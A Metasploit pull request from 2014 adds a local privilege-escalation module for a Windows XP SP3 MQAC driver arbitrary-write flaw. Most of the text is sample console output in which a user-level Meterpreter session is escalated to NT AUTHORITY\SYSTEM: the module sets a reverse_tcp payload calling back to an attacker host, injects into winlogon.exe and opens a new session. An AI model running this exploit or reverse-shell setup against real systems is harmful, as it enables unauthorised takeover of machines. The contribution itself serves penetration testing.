rapid7/metasploit-framework — pull request #3557 by zeroSteiner (2014-07-22 14:44:35+00:00)
Title: Windows XP SP3 MQAC Arbitrary Write Privilege Escalation

This vulnerability was recently released on Exploit-DB. The vulnerability is an IOCTL which allows an arbitrary address to be overwritten. It relies on opening a handle to the MQAC device which needs a service to be installed. The instructions here (http://support.microsoft.com/kb/256096) describe how to install the service. Once it's installed the default configuration is vulnerable.

Tasks:
- [ ] Get a session on XP SP3 as a user and use this module to elevate to SYSTEM

Sample output:
```
msf-git (S:0 J:0) exploit(handler) > exploit

[*] Started reverse handler on 192.168.90.1:4444
[*] Starting the payload handler...
[*] Sending stage (769536 bytes) to 192.168.90.178
[*] Meterpreter session 1 opened (192.168.90.1:4444 -> 192.168.90.178:1025) at 2014-07-22 10:38:10 -0400

meterpreter > getuid
Server username: NOOB-07797B4D0D\n00b
meterpreter > sysinfo
Computer : NOOB-07797B4D0D
OS : Windows XP (Build 2600, Service Pack 3).
Architecture : x86
System Language : en_US
Meterpreter : x86/win32
meterpreter > background
[*] Backgrounding session 1...
msf-git (S:1 J:0) exploit(handler) > use exploit/windows/local/mqac_write
msf-git (S:1 J:0) exploit(mqac_write) > set SESSION -1
SESSION => -1
msf-git (S:1 J:0) exploit(mqac_write) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf-git (S:1 J:0) exploit(mqac_write) > set LHOST 192.168.90.1
LHOST => 192.168.90.1
msf-git (S:1 J:0) exploit(mqac_write) > exploit

[*] Started reverse handler on 192.168.90.1:4444
[*] Kernel Base Address: 0x804d7000
[*] HalDisPatchTable Address: 0x80545a38
[*] Triggering vulnerable IOCTL
[*] Injecting the payload into SYSTEM process: winlogon.exe PID: 636
[*] Writing 287 bytes at address 0x01580000
[*] Sending stage (769536 bytes) to 192.168.90.178
[*] Meterpreter session 2 opened (192.168.90.1:4444 -> 192.168.90.178:1036) at 2014-07-22 10:38:47 -0400

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >
```